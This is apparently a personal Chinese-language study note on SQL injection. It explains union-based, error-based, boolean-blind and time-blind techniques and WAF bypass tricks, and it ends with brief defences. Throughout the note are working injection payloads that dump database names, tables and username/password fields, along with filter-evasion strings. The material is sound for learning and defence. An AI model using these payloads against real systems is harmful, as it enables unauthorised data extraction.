前言
随着自己学习网络安全有段时间了,发现自己过于自信了,什么都学,什么都觉得自己懂了,掉过头来原理都记不住,无奈,只好从头开始整理,权当自己复习一遍了
一、OWASP10
二、SQL注入的原理
本质上是把用户输入的数据当代码进行执行
两个关键条件即:
1.用户能控制输入
2.原本程序要执行的代码与用户的输入进行了拼接
如执行以下代码:
$id = $_GET['id'];
$query = "select * from information where id = "id" limit 0,1";
变量id的值由用户提交,在正常情况下,假如用户输入的是1,那么SQL语句会执行:
select * from information where id = 1 limit 0,1
但是假如用户输入一段有SQL语义的语句,比如:
1 or 1 =1 %23
那么,SQL语句在实际的执行时就会如下:
select * from information where id = 1 or 1 = 1 %23
满足了上述条件,用户可以控制变量id,原本要执行的代码,拼接了用户的输入。
1.SQL常出现场景
一切可以与数据库进行交互的地方都有可能出现
2.SQL注入的分类
根据数据传输方式分为:GET型、POST型、COOKIE型。
根据数据类型分为:数字型、字符型。
根据注入模式分为:
基于联合查询的注入模式
基于报错的注入模式
基于布尔的盲注
基于时间的盲注
堆叠查询的注入模式
3.SQL注入的一般步骤
1.求闭合字符
2.选择注入模式
3.爆数据库
4.爆表名
5.爆列名
6.爆字段
三、mysql的一些基本
1.mysql中的注释风格
单行注释,#后直接加内容:select user();#this is a cmmect
单行注释,–后面需加空格:select user();-- this is a commect
多行注释,/**/中见可以跨行:
select user();/*this is a cmmect*/
或:
select user();/*this is a
cmmect*/ +1;
2.mysql中的内联注释
select /*!user()*/;
或者
/*!50001 select user()*/;
内联注释是MySQL数据库为了保持与其他数据库兼容,特意新添加的功能 。
为了避免从MySQL中导出的SQL语句被其他数据库使用,它把一些 MySQL特有的语句放在 /*! … */ 中,这些语句在不兼容的数据库中使用时便不会执行。而MySQL自身却能识别执行。
/*50001 */表示数据库版本>=5.00.01时中间的语句才会执行。
在SQL注入中,内联注释常用来绕过waf。
3.mysql中的union联合查询
union 操作符用于拼接两个或者多select查询语句union中的每个查询必须拥有相同的列数
如:select 1 union select 2 union select 3;
可以执行成功
但是select 1,2 union select 3;
执行会报错
4.mysql中的 order by 语句
order by 语句用于根据指定的列对结果集进行排序。
order by语句默认按照升序对记录进行排序.
select * from information; --正常显示结果
select * from infoemation order by 3; --以第三列结果进行升序排序
5.information_schema结构
所以语句select schema_name from information_schema.schemata; --查询的是information_schema.schemata中的schema_name,也就是数据库名
构造语句select table_name from information_schema.tables where table_schema ='xxxx '; --查询的是information_schema中数据库名为xxxx所有的表名,即查询information_schema.tables中table_schema=xxxx时的table_name 的数据
语句select column_name from information_schema.columns where table_schema = ‘zzz’ and ‘table_name’ = ‘zzzz’; --查询的是information_shcema.columns中字段所属数据库名为table_schema=zzz并且字段所属表名为table_name=zzzz的值
6.注释的应用
select user from student where id = 1 limit 0,1;
select user from student where id = 1 and 1=2 union select user() # limit 0,1;
攻击者注入一段包含注释符的SQL语句,将原来的语句的一部分注释,注 释掉的部分语句不会被执行
7.mysql常用的语句及函数
字符串连接函数
concat(str1,str2…)函数 直接连接
group_concat(str1,str2…)函数 使用逗号做为分隔符
concat_ws(sep,str1,str2…)函数 使用第一个参数做为分隔符
8.宽字节注入
当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的编码是%df%5c’.这时候网站字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%df\是一个汉“運’”,这样的话,单引号前面的\就不起作用了,从而转义失败,题目就会出现报错信息。
四、基于联合查询的注入模式
基于联合查询的一般步骤
1.求闭合字符
2.求列数
3.求显示位
4.爆数据库名
5.爆表名
6.爆列名
7.爆字段名
1.判断是否存在注入与求闭合字符
sql = 'select *information where id = 'id' limit 0,1';
id = 1’ 异常
id = 1 and 1 =1 – + 正确
id = 1 and 1=2 – + 错误
结论:极有可能存在数字型SQL注入
ps:单引号有个特殊的作用:命令分隔符
sql = 'select *information where id = '"id"' limit 0,1';
id = 1’ 异常
id = 1’ and 1 =1 – + 正确
id = 1’ and 1=2 – + 错误
结论:极有可能存在单引号字符型SQL注入
sql = 'select *information where id = "'id'" limit 0,1';
id = 1” 异常
id = 1” and 1 =1 – + 正确
id = 1” and 1=2 – + 错误
结论:极有可能存在双引号字符型SQL注入
sql = 'select *information where id in ("id") limit 0,1';
id = 1) 异常
id = 1) and 1 =1 – + 正确
id = 1) and 1=2 – + 错误
结论:极有可能存在括号数字型SQL注入
2.求列数
select * from information order by 4--+ 正常
select * from information order by 5--+ 报错
Order by 表示按第几列来排序,
超出查询数据的列数会报错
order by 应当说的是查询了几列,按第几列来排序
3.求显示位
select * from information where id = 1 and 1=2 union select 1,2,3,4 --+
此时显示的是查询了四列,显示出几列不一定,我们要求出
到底用了哪两列, 然后在所用的列上插入我们的paylaod
4.求数据库
select * from information where id = 1 and 1=2 union select 1,database(),3,4 --+
在有回显的地方插入payload
5.求表名
id=1 and 1=2 union select 1,group_concat(table_name),3,4 from
information_schema.tables where table_schema='xxxx'
此处用group_concat 意思是用“,”做分隔符,在2号显示位显示出结果
6.求列名
id=1 and 1=2 union select
1,group_concat(column_name),3,4 from
information_schema.columns where table_schema='xxxx' and
table_name = 'xxxxx'
同上
7.求字段内容
id=1 and 1=2 union select
1,2,group_concat(name,0x23,school),4
from xxxx.xxxxx -- +
此处group_concat意思为将name和school的结果值用“,”分割连接
五、基于报错的注入模式
一般步骤为:
1,求闭合字符
2,爆数据库名
3,爆表名
4,爆列名
5,爆字段名
页面有报错信息时优先选择基于报错的注入模式
1.updatexml函数
0x7e对应的是“~” ~这个符号在xpath语法中是不存在的,因此总能报错。同理,肯定也有其他字符是XPATH语法不支持的。 ! 也是不支持的,因此也可以使用。
2.求库名
?id=1’ and updatexml(1,concat(0x23,database()),1) -- +
3.求表名
?id=1' and updatexml(1,concat(0x23,(select group_concat(table_name) from
information_schema.tables where table_schema='security')),1) -- +
4.求列名
?id=1' and updatexml(1,concat(0x23,(select group_concat(column_name) from
information_schema.columns where table_schema='security' and
table_name='users')),1) -- +
5.求字段内容
?id=1' and updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),1)-- +
6.FLOOR报错
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
这玩意儿太难组织语言,我太菜了,直接上语句各自体会
爆库
select 1 from (select count(*),concat(database(),floor(rand(0)2))x from information_schema.tables group by x)a;
爆表
select 1 from (select count(),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)2))x from information_schema.tables group by x)a;
爆字段
select 1 from (select count(),concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),floor(rand(14)2))x from information_schema.tables group by x)a
爆数据
select 1 from (select count(),concat((select group_concat(password) from users),floor(rand(14)*2))x from information_schema.tables group by x)a;
7.15钟报错函数
loor()
multipolygon()
updatexml()
linestring()
extractvalue()
exp()
GeometryCollection()
polygon()
mutipoint()
ST_LatFromGeoHash()
multionlinestring()
ST_LongFromGeoHash()
GTID_SUBSET()
GTID_SUBTRACT()
ST_PointFromGeoHash()
建议在concat查询语句后面添加一个标识符,如0x23
updatexml(1,concat(0x23,payload,0x23),1)
因为有的时候报错信息会设置长度限制,添加标识符可以避免显示不完全。
8.limit用法
因为有时只能显示一行,所以可以加上limit 0,1,显示第0行一下的第1行,不包括第0行,下一行就是limit 1,1 再下一行是limit 2,1
六、布尔型盲注
特点:页面存在异常,但是即无回显也无报错信息
利用:只能通过正确与错误两种状态来判断payload是否正确
1.一些函数
select count() fron information; 返回行数 /***count()计算结果集的行数
select length('test'); 返回4 /***length(str)返回指定字符串的长度
select substr('test',1,1); 返回1 /***substr(str,pos,len)/substring(str,pos,len)返回截取的子字符串。
select ascii('test'); 返回116 /***ascii(str)返回指定字符串最左侧字符的ascii值。
2.布尔型盲注核心思想及步骤
利用判断语句来证明推测是否正确。
推测正确时,页面正常显示;错误时,页面异常。
步骤如下:
3.实际操作
求数据库长度
?id=1' and length(database())=8 %23
求数据库名的ascii值
?id=1' and ascii(substr(database(),1,1))=115 %23
求表的数量
id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = 4 %23
求表名的ascii值
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 %23
求列的数量
id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 %23
求列名的ascii值
id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),1,1))=105 %23
求字段数量
id=1' and (select count(username) from security.users)=13 %23
求字段内容
id=1' and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68 %23
七、时间型盲注
特点:页面不存在异常,且即无回显也无报错信息
利用:只能利用条件语句结合执行时间的长短来判断payload是否正确
if(exp1,exp2,exp3)
如果exp1是True,则执行exp2,否则执行exp3
select if (True,2,3) 返回2
select if (False,2,3) 返回3
sleep(x)
将程序暂停x秒
if(payload,sleep(3),1) 即payload正确时,程序暂停3秒。否则立刻执行。
if(payload,1,sleep(3)) 即payload正确时,程序立刻执行,否则暂停3秒.
八、WAF绕过
1.大小写混合
原因:服务器端检测时未开启大小写不敏感
形式:UnIon SeLecT
2.多重关键字
原因:服务器端检测到敏感字符时替换为空
形式:ununionion selselectect
3.编码
原因:服务器端未检测或检测不严具有编码形式的关键字
类型:十六进制编码、URL编码、Unicode编码
形式:0x61646d696e、%20、%u0020
4.注释
原因:服务器端未检测或检测不严注释内的字符串
形式:/**/,/!/,/!12345/,#,-- -等
5.等价函数或命令
原因:服务器端黑名单不完整,过滤不严
形式:
Mysql查询:Union distinct、updatexml、Extractvalue、floor
字符串截取函数:mid、substr、substring、left、reverse
字符串连接函数:concat、group_concat、concat_ws
字符串转换:char、hex、unhex
替换逗号:limit 1 offset 0,mid(version() from 1 for 1)
替换等号:like
6.特殊符号
原因:数据库中效果相同,服务器端却没有限制
形式:
科学记数法 and 1e0 = 1e0
空白字符 %0a %a0 %0b %20 %09
反单引号 table_name
括号 select * from (test.admin)
7.组合绕过
原因:服务器端检测多处位置,需要多重绕过方式组合使用
形式:id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3
九、防御
1.使用参数化查询
2.输入检查
白名单检查
判断参数数据类型。如id的值,判断是否为整形
黑名单检查
使用正则禁止敏感字符和字符串的使用
3.使用安全函数
4.最小权限原则
本文部分素材来自于互联网
总结
写不动了,堆叠就是多条语句一起写,细细整理完手敲一遍确实神清气爽。